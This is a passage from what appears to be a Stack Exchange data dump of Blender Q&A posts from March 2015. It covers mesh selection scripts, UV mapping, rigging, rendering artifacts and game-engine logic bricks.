can't simply do a check for equality with 0, instead you might check is the x component within EPSILON tolerance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I make the significant digit 5 places after the decimal point, from practical experience i've found this to be sufficient.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; 1.0e-5 == 0.00001&#xA;True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above will select just the vertices, from that point selecting the edges shouldn't be too difficult. Here's a quick implementation&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, bmesh&#xA;&#xA;me = bpy.context.object.data&#xA;&#xA;bm = bmesh.new()&#xA;bm.from_mesh(me)&#xA;&#xA;EPSILON = 1.0e-5&#xA;for vert in bm.verts:&#xA;    if -EPSILON &amp;lt;= vert.co.x &amp;lt;= EPSILON:&#xA;        vert.select = True&#xA;&#xA;for edge in bm.edges:&#xA;    if edge.verts[0].select and edge.verts[1].select:&#xA;        edge.select = True&#xA;&#xA;bm.to_mesh(me)&#xA;bm.free()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U6BFL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-03-26T11:32:43.960" LastActivityDate="2015-03-26T11:32:43.960" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27708" PostTypeId="1" CreationDate="2015-03-26T13:33:30.370" Score="2" ViewCount="307" Body="&lt;p&gt;I made this character with a mirror modifier (I just mirror the whole character), and now I have added an armature inside of it. But the weight paint is also mirrored. I want to make my character move in a none symmetrical way, but everything I do on one side, is always mirrored on the other.&lt;/p&gt;&#xA;" OwnerUserId="13404" LastEditorUserId="2217" LastEditDate="2015-03-26T13:59:23.220" LastActivityDate="2015-03-26T13:59:23.220" Title="Unmirror Weight Paint" Tags="&lt;modifiers&gt;&lt;rigging&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27709" PostTypeId="1" AcceptedAnswerId="27710" CreationDate="2015-03-26T14:50:00.990" Score="7" ViewCount="3815" Body="&lt;p&gt;Is it possible to mapping a image around a ring shaped mesh? I would imagine there should be a way to curve/distort the image around the mesh. If not, how can I straighten out the mesh easily instead to fit the image? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MuhMj.png&quot; alt=&quot;mesh ring and texture&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13406" LastEditorUserId="2217" LastEditDate="2015-03-26T15:29:03.497" LastActivityDate="2021-03-23T03:50:49.623" Title="UV mapping a straight image around a ring shaped flat mesh" Tags="&lt;mesh&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ClosedDate="2015-03-26T15:53:32.760" ContentLicense="CC BY-SA 3.0" />
  <row Id="27710" PostTypeId="2" ParentId="27709" CreationDate="2015-03-26T15:15:32.230" Score="10" Body="&lt;p&gt;Using face select, select all the faces of the circle then have one face the active face (selected last, it will be lighter orange).&lt;/p&gt;&#xA;&lt;p&gt;Press &lt;kbd&gt;U&lt;/kbd&gt; &amp;gt; &lt;em&gt;Follow Active Quads&lt;/em&gt;, then hit OK.&lt;/p&gt;&#xA;&lt;p&gt;That will give you a straight line of the  UV for the circular faces, which will deform your pattern around the edge perfectly.&lt;br /&gt;&#xA;&lt;a href=&quot;http://gfycat.com/SecondSarcasticHorsemouse&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IqaK9.gif&quot; alt=&quot;animated gif&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2021-03-23T03:50:49.623" LastActivityDate="2021-03-23T03:50:49.623" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27711" PostTypeId="1" AcceptedAnswerId="27799" CreationDate="2015-03-26T16:05:57.760" Score="1" ViewCount="1236" Body="&lt;p&gt;I'm new to Blender and am looking for guidance on how to do a simple task for a research study that I will be running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I have a short video (&amp;lt;5 seconds long) of a dog barking. I wish to insert a small, flashing white dot (appears for 500ms) onto the video as a location and time that I choose. (This sounds random, but it's important.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone please talk me through the steps to do this? Or point me to a tutorial about something similar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="13407" LastActivityDate="2015-04-06T03:44:25.217" Title="How do I draw a circle in a location in my video" Tags="&lt;video&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27712" PostTypeId="1" CreationDate="2015-03-26T16:46:00.080" Score="1" ViewCount="52" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sMi7f.png&quot; alt=&quot;circle &quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A certain doubt always looms, when this circle is clicked ( by default ), it always remains near the screen. I mean with a click at most the cursor goes a bit away but not far from it. How does one get to place it lets say 20 measuring units ( inches or meters ) away. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because it is in 3d space, this cursor should diminish in size as it goes far. That is my notion. could somebody clarify this.&lt;/p&gt;&#xA;" OwnerUserId="2690" LastEditorUserId="47" LastEditDate="2015-07-19T18:57:07.880" LastActivityDate="2015-07-19T18:57:07.880" Title="how to place circle in a far location from centre" Tags="&lt;3d-view&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-03-26T18:38:25.850" ContentLicense="CC BY-SA 3.0" />
  <row Id="27714" PostTypeId="1" CreationDate="2015-03-26T17:17:55.700" Score="1" ViewCount="79" Body="&lt;p&gt;I have now used the extrude command successfully a number of times, yet I am still very much a noob.  Yet, when I tried to extrude the stomach to give my character some paunch, the mesh seems to distort in an illogical way.  I can not get it to extend the belly area. The mesh is not assigned to anything, as i have not gotten that far yet.  Any help you can offer would be greatly appreciated!  I am uploading the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WUChA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13271" LastActivityDate="2015-03-26T17:17:55.700" Title="Character's mesh distorts in illogical ways" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27715" PostTypeId="1" AcceptedAnswerId="27716" CreationDate="2015-03-26T18:06:22.190" Score="29" ViewCount="22492" Body="&lt;p&gt;What is the quickest / best way of duplicating an object with children, so that the children are also duplicated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to grab the parent object and move it around in the 3D View and the child follows fine, but unless I go into the Outliner and RMB click on the parent and choose &quot;Select Hierarchy&quot; to select the parent AND the children before I duplicate, only the parent gets duplicated. I would like to know the quickest and best way to grab the parent object and all children in the 3D View and duplicate it without too much hassle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, is there a way to Select Hierarchy in the 3D View instead of having to use the Outliner? &lt;/p&gt;&#xA;" OwnerUserId="9504" LastEditorUserId="9504" LastEditDate="2015-03-26T18:16:18.413" LastActivityDate="2015-03-26T18:24:46.390" Title="What is the quickest / best way of duplicating an object with children, so that the children are also duplicated?" Tags="&lt;modeling&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27716" PostTypeId="2" ParentId="27715" CreationDate="2015-03-26T18:15:37.007" Score="38" Body="&lt;p&gt;You can do this by using the 'Select Grouped' menu, triggered with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select Parent.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt;&gt; &lt;em&gt;Children&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Shift select parent (by default it will be deselected when the children get selected).&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; to duplicate.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you are doing this multiple times you can open the toolbar(&lt;kbd&gt;T&lt;/kbd&gt;) and check 'Extend' after doing 'Select Grouped', so the parent remains selected when the children are selected. Any future selection of the children will respect this 'Extend' setting.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-03-26T18:24:46.390" LastActivityDate="2015-03-26T18:24:46.390" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27717" PostTypeId="2" ParentId="27627" CreationDate="2015-03-26T19:27:40.047" Score="1" Body="&lt;p&gt;hi the easy way is change the rotation in properties panel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AaDxQ.png&quot; alt=&quot;change rotation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also you can select all the objects and run this script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obs = bpy.context.selected_objects&#xA;&#xA;for ob in obs:&#xA;    ob.rotation_euler[2] = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;best&lt;/p&gt;&#xA;" OwnerUserId="11077" LastActivityDate="2015-03-26T19:27:40.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27718" PostTypeId="1" AcceptedAnswerId="27719" CreationDate="2015-03-26T19:53:41.367" Score="20" ViewCount="6235" Body="&lt;p&gt;Using v2.73, cycles and a very simple scene: an array of cubes, no big deal.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7vHzU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I set the shader's material to transparent, the cubes in the foreground do become transparent but those far away in the back do not disappear completely and this strange dark &lt;em&gt;things&lt;/em&gt; appear (visible in rendered mode and in final renders)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9BC5t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've played with the clipping distance on the viewport and camera, but I can't figure out how to make those &lt;em&gt;ghosts&lt;/em&gt; go away...&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2016-12-29T18:43:10.610" LastActivityDate="2019-06-22T00:42:11.853" Title="Black artifacts when looking through many transparent objects?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27719" PostTypeId="2" ParentId="27718" CreationDate="2015-03-26T20:00:52.817" Score="31" Body="&lt;p&gt;Go to Light Paths under the Render Tab and turn up the Max amount of &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/cycles/settings/scene/render/light_paths.html&quot; rel=&quot;noreferrer&quot;&gt;transparent bounces&lt;/a&gt; until you have enough for every cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PyXnE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 2.8* set the Transmission bounces in the Render section&gt;Light Paths&gt;Max Bounces&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aV8ny.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aV8ny.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="13324" LastEditorDisplayName="user1853" LastEditDate="2019-06-22T00:42:11.853" LastActivityDate="2019-06-22T00:42:11.853" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="27720" PostTypeId="1" AcceptedAnswerId="30400" CreationDate="2015-03-26T21:03:00.873" Score="2" ViewCount="1385" Body="&lt;p&gt;I have an outfit that I am trying to give thickness with solidify. There are 3 related problems I am running into:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Solidify size can be controlled by a vertex group, but if set to 0, it still makes the new layer of faces, just with no distance between them and the old. I need different amounts of thickness in different areas, and in some places, I need no thickness. In crumpled areas with very small or no thickness, the back faces of the new layer clip through.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1Zt0U.jpg&quot; alt=&quot;Problem 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I have a huge amount of unnecessary double verts in areas that don't need thickness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) In acute areas, the solidify makes split edges.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VpVdc.jpg&quot; alt=&quot;Problem 3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot change any vertices, or split the object. This outfit is being imported from Marvelous Designer, and has associated .mdd animation caches that will break if anything is altered. I am using the Mesh Cache modifier to load them, so anything I do needs to be after the modifier. Importing the .mdd directly onto the mesh as shapekeys would allow more options, but that isn't viable as I need to be able to bring in different animations without it breaking. I can make changes to it in MD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see from looking around google that problem 1 is supposedly solved by making the material backfaces transparent. But that doesn't seem to work?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/n9S4u.jpg&quot; alt=&quot;Transparent Backfaces&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also found that triangulating the mesh (currently quads) solves 1, but is that the only way? If there is a way to access the verts created by solidify in a certain area, then they could be hidden, which would also solve 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that 2 could be solved by something like a remove doubles modifier (which I see has been proposed in the past, but was rejected), and if that was done, then I wouldn't need to triangulate the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried using a deform cage based on an unaltered version of the outfit to control an altered version and so avoid the whole issue, but the results are inaccurate.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastEditorUserId="13324" LastEditDate="2015-03-26T22:43:21.270" LastActivityDate="2015-05-04T22:55:14.553" Title="Solidify thickness problems" Tags="&lt;cycles-render-engine&gt;&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27721" PostTypeId="1" AcceptedAnswerId="27722" CreationDate="2015-03-26T21:45:11.407" Score="3" ViewCount="4846" Body="&lt;p&gt;I have a model of a building with a sidewalk around it.  Both show up when I switch to rendering mode in both Blender Render and Cycles Render mode.  But:  when I hit F12 for a final proper render, the building shows up -- but the sidewalk doesn't.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked the normals and I thought the normals seemed pointed in the right direction.  I've set the Clipping on the Camera to a high number.  I removed all the materials from the sidewalk and added a new material-- the problem persists.  I've exported the blend as an FBX file and the Sidewalk shows up fine in Unity.  Just in final renders, it doesn't show up.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a blend file: &lt;a href=&quot;http://www.pasteall.org/blend/35247&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/35247&lt;/a&gt;.  I tried to destroy everything unrelated to the issue and label things in a clear way.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="13294" LastActivityDate="2021-01-09T02:11:21.160" Title="One Object won't Show up in Final Render even though it shows up in the Preview Render" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-03-27T01:14:48.897" ContentLicense="CC BY-SA 3.0" />
  <row Id="27722" PostTypeId="2" ParentId="27721" CreationDate="2015-03-26T21:47:37.117" Score="8" Body="&lt;p&gt;Look at the camera icons on the outliner.&#xA;Click on the funnel icon on the top right and enable different filters.&lt;/p&gt;&#xA;&lt;p&gt;When the camera icons are disabled, the object is disabled from rendering. To make it active click on the camera icon.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n7mzB.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;These icons are switches:&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;Eye&lt;/strong&gt; icon is to toggle object visibility on the 3D viewport.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;Arrow&lt;/strong&gt; Icon toggles selectability.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;Camera&lt;/strong&gt; Icon toggles rendering.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;Monitor&lt;/strong&gt; icon disables the object in all viewports.&lt;/p&gt;&#xA;&lt;p&gt;For more info refer to the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/outliner/interface.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender manual&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In older versions (2.79 or previous) the outliner the switches are here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ON3yK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ON3yK.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="92768" LastEditorDisplayName="user1853" LastEditDate="2021-01-09T02:11:21.160" LastActivityDate="2021-01-09T02:11:21.160" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27724" PostTypeId="1" CreationDate="2015-03-26T22:00:33.143" Score="0" ViewCount="84" Body="&lt;p&gt;Exported a model with default values from latest version in fbx, then imported to Unreal Engine 4. But the edges are missing, why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ChrT4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13180" LastEditorUserId="2607" LastEditDate="2015-07-02T18:07:05.803" LastActivityDate="2015-07-02T18:07:05.803" Title="Model shows no edges" Tags="&lt;export&gt;&lt;edges&gt;&lt;unreal-engine&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27726" PostTypeId="1" CreationDate="2015-03-26T22:39:24.063" Score="3" ViewCount="605" Body="&lt;p&gt;I have two objects in my scene, a boat and a seat. When I try to change the Viewport shading to &lt;em&gt;Solid&lt;/em&gt;, the seat changes but the boat stays in &lt;em&gt;Wireframe&lt;/em&gt;. I tried looking for an answer before posting but didn't find one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n3gJO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13418" LastEditorUserId="3078" LastEditDate="2015-03-26T22:47:21.363" LastActivityDate="2017-04-10T07:01:41.210" Title="Why can't I change the shading of one of my objects from Wireframe to Solid?" Tags="&lt;3d-view&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27728" PostTypeId="1" CreationDate="2015-03-26T23:15:10.780" Score="3" ViewCount="1124" Body="&lt;p&gt;I've tried different ways to join the two edge loops to make them into one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result I'm looking for is one complete loop that I can grap and slide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the current state I need to select both set of edges and slide them simultainously. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. when starting Blender with default cube. If I insert an edge loop. I can press g twice and slide the edge as one. Looking at my example I need to connect the two set of edges into one so that I can press g twice and the slide the edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to fill between the verts. I've tried to bridge the edges and then delete the resulting faces. I've tried to extrude on vert and merge it with the snapped vert. None of it Works ?!?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jzd3Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13420" LastActivityDate="2015-04-16T14:48:20.083" Title="How to &quot;join&quot; edges to one loop" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27729" PostTypeId="1" CreationDate="2015-03-26T23:46:36.810" Score="0" ViewCount="679" Body="&lt;p&gt;I'm new of Blender but I'm learning fast. For modelling etc. everything is quite ok... a lot of informations can be found online and usually are quite small stuff such as a shortcut etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem comes with the rigging of an animal's leg. As long as I work with &quot;humans&quot; everything is ok. But animals have something different... while humans have a knee, animals have the leg that bends in two points [knee and heel].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While for humans you setup the IK chain from the heel for an animal I setup it from the paw [animals walk with the knee &quot;high&quot;].&#xA;But if I set up the IK chain from here I have two problems:&#xA;1. I can create a target just for the first bone that is part of the IK chain [in this case the one that goes from the paw to the heel] but not for the knee. This means that if I stretch the leg and then I compress it again I risk to bend the knee on the other side.&#xA;2. The IK chain works great with two bones, but if I add a third one the second and the third appear like &quot;fused together&quot; and the knee remains blocked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to sort this out? Probably is me that still ignore some stuff but I'm keeping this project as something that I can use to improve...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .blend file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/137/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=137&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&#xA;Bes&lt;/p&gt;&#xA;" OwnerUserId="13419" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-03-27T18:48:14.250" Title="rigging of animal's legs" Tags="&lt;rigging&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27730" PostTypeId="2" ParentId="27724" CreationDate="2015-03-27T00:05:50.537" Score="1" Body="&lt;p&gt;&lt;strong&gt;The answer is&lt;/strong&gt;: Remove any world position offset textures from your Unreal material, and the space should go away upon saving.&lt;/p&gt;&#xA;" OwnerUserId="13180" LastActivityDate="2015-03-27T00:05:50.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27731" PostTypeId="2" ParentId="27665" CreationDate="2015-03-27T01:09:03.313" Score="13" Body="&lt;p&gt;All steps needed :&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;render a simple animation loop&lt;/li&gt;&#xA;&lt;li&gt;use the result as a texture for planes &lt;/li&gt;&#xA;&lt;li&gt;each plane has different UV mapping and image sequence offset&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Preparing the texture&lt;/strong&gt; &lt;br/&gt;&#xA;first we have to prepare a simple animation loop in this case snow flakes falling from top of the image to the bottom ; for this we use &lt;a href=&quot;https://blender.stackexchange.com/a/5051/5113&quot;&gt;the proposed system by gandalf3&lt;/a&gt; and render the particles only from frame 0 to the frame where all flakes disappear from camera, we will use transparent background for this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;the first setup&lt;/em&gt;&lt;/strong&gt; for preparing the textures :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BFNCz.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;result image sequence&lt;/em&gt;&lt;/strong&gt; (transparency can't be displayed here )&#xA;&lt;img src=&quot;https://i.stack.imgur.com/y9LNI.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;final setup&lt;/strong&gt;&lt;br/&gt;&#xA;create planes and add a material with the following setup :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ditSz.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;the image texture is the result of the previous render ,the mapping node is used to create a shift on the X_axis (left right ) while the starting frame on the image sequence texture is used for controlling the Y axis shift (up down )&lt;br/&gt;&#xA;instance this material for each plane and give it a random values for the shift ,then arrange and resize the planes to fit the camera border from the camera view &lt;br/&gt;&#xA;&lt;strong&gt;&lt;em&gt;second setup for final render&lt;/em&gt;&lt;/strong&gt; &lt;br/&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZhRAJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now render this layer for the same number of frames as the last one and you'll get one animation loop as this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m2KLt.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/138/&quot; rel=&quot;noreferrer&quot;&gt;the .blend file&lt;/a&gt; &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/138/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=138&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-03-27T13:12:28.820" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27733" PostTypeId="1" AcceptedAnswerId="27765" CreationDate="2015-03-27T02:00:03.893" Score="1" ViewCount="452" Body="&lt;p&gt;I'm trying to render an imported obj mesh file. I think I could successfully put the object in the field of view of active camera. But while rendering it doesn't show anything but a black image. I've attached the screenshot of the blender (In the attached image, I've intentionally black out a portion of the object).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6McFk.png&quot; alt=&quot;Blender image&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13423" LastEditorUserId="2217" LastEditDate="2015-03-27T02:19:49.627" LastActivityDate="2015-03-27T20:10:25.647" Title="Blender rendered image black" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;image&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27734" PostTypeId="1" AcceptedAnswerId="27735" CreationDate="2015-03-27T02:26:29.660" Score="4" ViewCount="948" Body="&lt;p&gt;I am making a game and I want to have the player travel forward and high speeds (turbo) when the player presses &lt;kbd&gt;E&lt;/kbd&gt; but I want there to be a cooldown timer so you can't rapidly press &lt;kbd&gt;E&lt;/kbd&gt; and go way too fast. I don't know python and I don't plan on learning it anytime soon. A solution with python would work, but I would really prefer one with logic bricks. &lt;/p&gt;&#xA;" OwnerUserId="13425" LastEditorUserId="5426" LastEditDate="2015-03-27T02:53:03.670" LastActivityDate="2015-04-04T01:37:07.643" Title="Button Cooldown Timer" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27735" PostTypeId="2" ParentId="27734" CreationDate="2015-03-27T02:35:11.730" Score="5" Body="&lt;p&gt;This is very easy to do. This is the same method you would use if you were creating a reload property for a gun. Create an integer property name &lt;em&gt;Time&lt;/em&gt; that is always increasing as long as that property is less than 100. In this case, it is named &lt;em&gt;time&lt;/em&gt;, Of course you could name it whatever you wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZPFe3.png&quot; alt=&quot;enter image description here&quot; title=&quot;Yah, I even named the bricks :)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then have another property sensor limiting the keyboard's input so that it will only send a positive pulse when the integer &lt;em&gt;Time&lt;/em&gt; is equal to 100 &lt;strong&gt;And&lt;/strong&gt; &lt;kbd&gt;E&lt;/kbd&gt; is pressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using a system like this, you can hammer on the keyboard as fast as you want, but it will only turbo when the property &lt;em&gt;Time&lt;/em&gt; reaches 100. and as soon as you turbo, The time property starts increasing until it reaches 100, where you will be ready to turbo again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/136/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=136&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-04-04T01:37:07.643" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
